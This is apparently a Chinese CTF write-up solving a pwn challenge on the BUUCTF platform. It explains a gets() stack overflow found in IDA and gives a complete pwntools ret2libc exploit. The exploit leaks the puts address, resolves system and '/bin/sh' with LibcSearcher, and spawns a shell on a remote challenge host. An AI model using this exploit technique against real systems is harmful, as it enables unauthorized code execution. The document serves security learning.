纪念自己第一次思路清晰写一次exp就做出来的题目(本人很菜):
首先检查保护:
然后拖到ida里看看:
通过读c伪代码可以看出先是一个嵌套循环,然后输入v4的值,根据v4值来执行下面的代码。
当输入v4值为1是就可以进入encrypt函数中:
很明显有个gets函数的栈溢出
然后shift+F12找找有没有后门
结果没有,那么很容易想到用ret2libc的方法做
所以接下来就来构造rop链
先注入puts函数的plt表和got表泄露puts函数地址,再用ROPgadget --binary fliename --only 'pop|ret' 找找寄存器
这里我们选用pop rdi ret和pop ret
第一段payload如下
payload1 = b'a'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4009A0)
其中的0x4009A0是用来在泄露puts函数的地址之后返回encrypt函数地址使之再次运行
接下来通过计算偏移和libcsearcher拿到libc版本从而泄露system和bin/sh然后栈溢出rop获得shell。
完整exp如下:
from pwn import *
from LibcSearcher import *io = remote('node4.buuoj.cn',25548)
elf = ELF('./pwn')pop_rdi_ret = 0x400c83
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x4006b9
io.sendlineafter('machine\n\n','1')
payload1 = b'a'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x4009A0)io.sendlineafter('encrypted\n',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')payload2 = b'a'*(0x50+8) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter('encrypted\n',payload2)
io.interactive()
拿到shell
希望思路对各位有所帮助(本人真的很菜),如有不足请各位佬们指点。